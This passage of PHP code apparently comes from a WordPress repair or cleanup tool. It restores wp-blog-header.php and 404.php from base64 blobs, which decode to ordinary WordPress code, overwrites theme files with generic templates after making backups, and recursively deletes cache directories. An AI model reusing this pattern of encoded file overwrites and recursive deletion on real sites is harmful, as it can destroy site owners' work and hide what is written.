    $wpbhcode = base64_decode('PD9waHAKLyoqCiAqIExvYWRzIHRoZSBXb3JkUHJlc3MgZW52aXJvbm1lbnQgYW5kIHRlbXBsYXRlLgogKgogKiBAcGFja2FnZSBXb3JkUHJlc3MKICovCgppZiAoICEgaXNzZXQoICR3cF9kaWRfaGVhZGVyICkgKSB7CgoJJHdwX2RpZF9oZWFkZXIgPSB0cnVlOwoKCS8vIExvYWQgdGhlIFdvcmRQcmVzcyBsaWJyYXJ5LgoJcmVxdWlyZV9vbmNlIF9fRElSX18gLiAnL3dwLWxvYWQucGhwJzsKCgkvLyBTZXQgdXAgdGhlIFdvcmRQcmVzcyBxdWVyeS4KCXdwKCk7CgoJLy8gTG9hZCB0aGUgdGhlbWUgdGVtcGxhdGUuCglyZXF1aXJlX29uY2UgQUJTUEFUSCAuIFdQSU5DIC4gJy90ZW1wbGF0ZS1sb2FkZXIucGhwJzsKCn0=');
    echo esc_html($wpbhpath) . PHP_EOL;
    @chmod($wpbhpath, 0644);
    if (is_writable($wpbhpath)) {
        return file_put_contents($wpbhpath, $wpbhcode) !== false;
    }
    return false;
}

function a0aFix404() {
    $code404 = base64_decode('PD9waHAgZ2V0X2hlYWRlcigpOyA/PiANCg0KPG1haW4gaWQ9Im1haW4iIGNsYXNzPSJzaXRlLW1haW4iIHJvbGU9Im1haW4iPg0KDQogICAgPHNlY3Rpb24gY2xhc3M9ImVycm9yLTQwNCBub3QtZm91bmQiPg0KICAgICAgICA8aGVhZGVyIGNsYXNzPSJwYWdlLWhlYWRlciI+DQogICAgICAgICAgICA8aDEgY2xhc3M9InBhZ2UtdGl0bGUiPg0KICAgICAgICAgICAgICAgIDw/cGhwIGVzY19odG1sX2UoJ09vcHMhIFRoYXQgcGFnZSBjYW4mcnNxdW87dCBiZSBmb3VuZC4nLCAndGV4dGRvbWFpbicpOyA/PiANCiAgICAgICAgICAgIDwvaDE+DQogICAgICAgIDwvaGVhZGVyPg0KDQogICAgICAgIDxkaXYgY2xhc3M9InBhZ2UtY29udGVudCI+DQogICAgICAgICAgICA8cD4NCiAgICAgICAgICAgICAgICA8P3BocCBlc2NfaHRtbF9lKCdJdCBsb29rcyBsaWtlIG5vdGhpbmcgd2FzIGZvdW5kIGF0IHRoaXMgbG9jYXRpb24uIE1heWJlIHRyeSBvbmUgb2YgdGhlIGxpbmtzIGJlbG93IG9yIGEgc2VhcmNoPycsICd0ZXh0ZG9tYWluJyk7ID8+IDwhLS0gY2hhbmdlIHRleHRkb21haW4gLS0+DQogICAgICAgICAgICA8L3A+DQoNCiAgICAgICAgICAgIDw/cGhwIGdldF9zZWFyY2hfZm9ybSgpOyA/Pg0KDQogICAgICAgICAgICA8P3BocCB0aGVfd2lkZ2V0KCdXUF9XaWRnZXRfUmVjZW50X1Bvc3RzJyk7ID8+DQoNCiAgICAgICAgICAgIDxkaXYgY2xhc3M9IndpZGdldCB3aWRnZXRfY2F0ZWdvcmllcyI+DQogICAgICAgICAgICAgICAgPGgyIGNsYXNzPSJ3aWRnZXQtdGl0bGUiPg0KICAgICAgICAgICAgICAgICAgICA8P3BocCBlc2NfaHRtbF9lKCdNb3N0IFVzZWQgQ2F0ZWdvcmllcycsICd0ZXh0ZG9tYWluJyk7ID8+IA0KICAgICAgICAgICAgICAgIDwvaDI+DQogICAgICAgICAgICAgICAgPHVsPg0KICAgICAgICAgICAgICAgICAgICA8P3BocCB3cF9saXN0X2NhdGVnb3JpZXMoDQogICAgICAgICAgICAgICAgICAgICAgICBhcnJheSgNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnb3JkZXJieScgPT4gJ2NvdW50JywNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnb3JkZXInID0+ICdERVNDJywNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnc2hvd19jb3VudCcgPT4gMSwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAndGl0bGVfbGknID0+ICcnLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICdudW1iZXInID0+IDEwLA0KICAgICAgICAgICAgICAgICAgICAgICAgKSk7ID8+DQogICAgICAgICAgICAgICAgPC91bD4NCiAgICAgICAgICAgIDwvZGl2Pg0KDQogICAgICAgICAgICA8P3BocA0KICAgICAgICAgICAgICAgIGlmIChpc19hY3RpdmVfc2lkZWJhcignc2lkZWJhci0xJykpOiA/Pg0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9IndpZGdldC1hcmVhIiBzdHlsZT0ibWFyZ2luLWJvdHRvbTogMjBweDsiPg0KICAgICAgICAgICAgICAgICAgICA8P3BocCBkeW5hbWljX3NpZGViYXIoKTsgPz4NCiAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgID8+DQogICAgICAgIDwvZGl2Pg0KICAgIDwvc2VjdGlvbj4NCjwvbWFpbj4=');

    if (is_child_theme()) {
        $path404 = get_stylesheet_directory() . DIRECTORY_SEPARATOR . '404.php';
        if (file_exists($path404)) {
            @unlink($path404);
        }
    }

    $path404 = get_template_directory() . DIRECTORY_SEPARATOR . '404.php';
    return file_put_contents($path404, $code404) !== false;
}

function a0a131a0RecursiveDelete($dir) {
    if (!is_dir($dir)) {
        return unlink($dir);
    }
    
    $files = array_diff(scandir($dir), ['.', '..']);
    foreach ($files as $file) {
        $path = $dir . DIRECTORY_SEPARATOR . $file;
        is_dir($path) ? a0a131a0RecursiveDelete($path) : unlink($path);
    }
    return rmdir($dir);
}

function a0a132a0RestoreThemeFiles() {
    if (!current_user_can('manage_options')) {
        echo '<div style="color: red;">Insufficient permissions to restore theme files.</div>';
        return false;
    }
    
    echo '<div style="color: #666;">Starting theme file restoration...</div>';
    
    $current_theme = wp_get_theme();
    $theme_path = $current_theme->get_stylesheet_directory();
    $theme_name = $current_theme->get('Name');
    
    echo '<div style="color: #888;">Theme: ' . esc_html($theme_name) . '</div>';
    echo '<div style="color: #888;">Path: ' . esc_html($theme_path) . '</div>';
    
    try {
        $restored_files = 0;
        $error_files = 0;
        
        $standard_files = [
            'index.php',
            'style.css',
            'functions.php',
            'header.php',
            'footer.php',
            'sidebar.php',
            'single.php',
            'page.php',
            'archive.php',
            'search.php',
            '404.php'
        ];
        
        foreach ($standard_files as $file) {
            $file_path = $theme_path . '/' . $file;
            
            if (file_exists($file_path) && is_file($file_path)) {
                $backup_path = $file_path . '.bak';
                
                if (!file_exists($backup_path)) {
                    if (copy($file_path, $backup_path)) {
                        echo '<div style="color: green;">Backup created: ' . esc_html($file) . '</div>';
                    }
                }
                
                $content = a0a133a0GetCleanThemeFile($file);
                
                if ($content !== false) {
                    if (file_put_contents($file_path, $content) !== false) {
                        echo '<div style="color: green;">Restored: ' . esc_html($file) . '</div>';
                        $restored_files++;
                    } else {
                        echo '<div style="color: red;">Write error: ' . esc_html($file) . '</div>';
                        $error_files++;
                    }
                } else {
                    echo '<div style="color: orange;">Skipped: ' . esc_html($file) . ' (no template)</div>';
                }
            }
        }
        
        echo '<div style="color: green; margin-top: 10px;">Files restored: ' . $restored_files . '</div>';
        if ($error_files > 0) {
            echo '<div style="color: red;">Errors: ' . $error_files . '</div>';
        }
        
        echo '<div style="color: green; margin-top: 10px;">Theme file restoration complete!</div>';
        
        return $error_files === 0;
        
    } catch (Exception $e) {
        echo '<div style="color: red;">Restoration error: ' . $e->getMessage() . '</div>';
        return false;
    }
}

function a0a133a0GetCleanThemeFile($file) {
    $templates = [
        'index.php' => '<?php get_header(); ?>\n<div id="primary" class="content-area">\n    <main id="main" class="site-main">\n        <?php if (have_posts()) : ?>\n            <?php while (have_posts()) : the_post(); ?>\n                <?php get_template_part(\'template-parts/content\', get_post_format()); ?>\n            <?php endwhile; ?>\n            <?php the_posts_navigation(); ?>\n        <?php else : ?>\n            <?php get_template_part(\'template-parts/content\', \'none\'); ?>\n        <?php endif; ?>\n    </main>\n</div>\n<?php get_sidebar(); ?>\n<?php get_footer(); ?>',
        
        'style.css' => '/*\nTheme Name: ' . wp_get_theme()->get('Name') . '\nTheme URI: ' . get_home_url() . '\nAuthor: WordPress\nAuthor URI: https://wordpress.org/\nDescription: Clean WordPress theme\nVersion: 1.0\nLicense: GNU General Public License v2 or later\nLicense URI: http://www.gnu.org/licenses/gpl-2.0.html\nText Domain: ' . wp_get_theme()->get('TextDomain') . '\nTags: clean, minimal, responsive\n*/\n\n/* Basic reset */\n* {\n    margin: 0;\n    padding: 0;\n    box-sizing: border-box;\n}\n\nbody {\n    font-family: Arial, sans-serif;\n    line-height: 1.6;\n    color: #333;\n}\n\n/* Layout */\n.site-header {\n    background: #fff;\n    padding: 20px 0;\n    border-bottom: 1px solid #ddd;\n}\n\n.site-content {\n    max-width: 1200px;\n    margin: 0 auto;\n    padding: 20px;\n}\n\n.site-footer {\n    background: #333;\n    color: #fff;\n    padding: 20px 0;\n    text-align: center;\n}\n\n/* Responsive */\n@media (max-width: 768px) {\n    .site-content {\n        padding: 10px;\n    }\n}',
        
        'functions.php' => '<?php\n// Theme setup\nfunction theme_setup() {\n    add_theme_support(\'post-thumbnails\');\n    add_theme_support(\'title-tag\');\n    add_theme_support(\'html5\', array(\'search-form\', \'comment-form\', \'comment-list\', \'gallery\', \'caption\'));\n}\nadd_action(\'after_setup_theme\', \'theme_setup\');\n\n// Enqueue scripts and styles\nfunction theme_scripts() {\n    wp_enqueue_style(\'theme-style\', get_stylesheet_uri());\n    wp_enqueue_script(\'theme-script\', get_template_directory_uri() . \'/js/script.js\', array(\'jquery\'), \'1.0.0\', true);\n}\nadd_action(\'wp_enqueue_scripts\', \'theme_scripts\');\n?>',
        
        'header.php' => '<!DOCTYPE html>\n<html <?php language_attributes(); ?>>\n<head>\n    <meta charset="<?php bloginfo(\'charset\'); ?>">\n    <meta name="viewport" content="width=device-width, initial-scale=1.0">\n    <title><?php wp_title(\'|\', true, \'right\'); ?><?php bloginfo(\'name\'); ?></title>\n    <?php wp_head(); ?>\n</head>\n<body <?php body_class(); ?>>\n<header id="masthead" class="site-header">\n    <div class="container">\n        <div class="site-branding">\n            <?php if (has_custom_logo()) : ?>\n                <?php the_custom_logo(); ?>\n            <?php else : ?>\n                <h1 class="site-title"><a href="<?php echo esc_url(home_url(\'/\')); ?>"><?php bloginfo(\'name\'); ?></a></h1>\n                <p class="site-description"><?php bloginfo(\'description\'); ?></p>\n            <?php endif; ?>\n        </div>\n        <nav id="site-navigation" class="main-navigation">\n            <?php wp_nav_menu(array(\'theme_location\' => \'primary\', \'menu_class\' => \'nav-menu\')); ?>\n        </nav>\n    </div>\n</header>',
        
        'footer.php' => '</div>\n<footer id="colophon" class="site-footer">\n    <div class="container">\n        <div class="site-info">\n            <p>&copy; <?php echo date(\'Y\'); ?> <?php bloginfo(\'name\'); ?>. All rights reserved.</p>\n            <p>Powered by <a href="<?php echo esc_url(\'https://wordpress.org/\'); ?>">WordPress</a></p>\n        </div>\n    </div>\n</footer>\n<?php wp_footer(); ?>\n</body>\n</html>',
        
        'sidebar.php' => '<aside id="secondary" class="widget-area">\n    <?php if (is_active_sidebar(\'sidebar-1\')) : ?>\n        <?php dynamic_sidebar(\'sidebar-1\'); ?>\n    <?php else : ?>\n        <div class="widget">\n            <h3><?php _e(\'Search\', \'theme\'); ?></h3>\n            <?php get_search_form(); ?>\n        </div>\n        <div class="widget">\n            <h3><?php _e(\'Recent Posts\', \'theme\'); ?></h3>\n            <ul>\n                <?php wp_get_archives(array(\'type\' => \'postbypost\', \'limit\' => 5)); ?>\n            </ul>\n        </div>\n    <?php endif; ?>\n</aside>',
        
        '404.php' => '<div class="error-404 not-found">\n    <header class="page-header">\n        <h1 class="page-title"><?php _e(\'Oops! That page can&rsquo;t be found.\', \'theme\'); ?></h1>\n    </header>\n    <div class="page-content">\n        <p><?php _e(\'It looks like nothing was found at this location. Maybe try a search?\', \'theme\'); ?></p>\n        <?php get_search_form(); ?>\n    </div>\n</div>'
    ];
    
    return isset($templates[$file]) ? $templates[$file] : false;
}

function a0a134a0PurgeCache() {
    if (!current_user_can('manage_options')) {
        echo '<div style="color: red;">Insufficient permissions to clear the cache.</div>';
        return false;
    }
    
    echo '<div style="color: #666;">Starting cache cleanup...</div>';
    
    try {
        $cleared_dirs = 0;
        $cleared_functions = 0;
        
        if (has_action('litespeed_purge_all')) {
            do_action('litespeed_purge_all');
            echo '<div style="color: green;">LiteSpeed cache cleared</div>';
            $cleared_functions++;
        }
        
        $cache_dirs = [
            'wp-content/litespeed',
            'wp-content/cache', 
            'wp-content/et-cache',
            'wp-content/cache/wp-cache',
            'wp-content/wp-cache'
        ];
        
        foreach ($cache_dirs as $cache_dir) {
            $full_path = ABSPATH . $cache_dir;
            if (is_dir($full_path)) {
                if (a0a131a0RecursiveDelete($full_path)) {
                    echo '<div style="color: green;">Directory cleared: ' . esc_html($cache_dir) . '</div>';
                    $cleared_dirs++;
                } else {
                    echo '<div style="color: red;">Cleanup error: ' . esc_html($cache_dir) . '</div>';
                }
            }
        }
        
        if (function_exists('wpfc_clear_all_cache')) {
            wpfc_clear_all_cache(true);
            echo '<div style="color: green;">WP Fastest Cache cleared</div>';
            $cleared_functions++;
        }
        
        if (function_exists('wp_cache_flush')) {
            wp_cache_flush();
            echo '<div style="color: green;">WP Object Cache cleared</div>';
            $cleared_functions++;
        }
        
        if (function_exists('rocket_clean_domain')) {
            rocket_clean_domain();
            echo '<div style="color: green;">WP Rocket cache cleared</div>';
            $cleared_functions++;
        }
        
        echo '<div style="color: green; margin-top: 10px;">Directories cleared: ' . $cleared_dirs . '</div>';
        echo '<div style="color: green; margin-top: 5px;">Functions cleared: ' . $cleared_functions . '</div>';
        echo '<div style="color: green; margin-top: 10px;">Cache cleanup complete!</div>';
        
        return true;
        
    } catch (Exception $e) {
        echo '<div style="color: red;">Cache cleanup error: ' . $e->getMessage() . '</div>';
        return false;
    }
}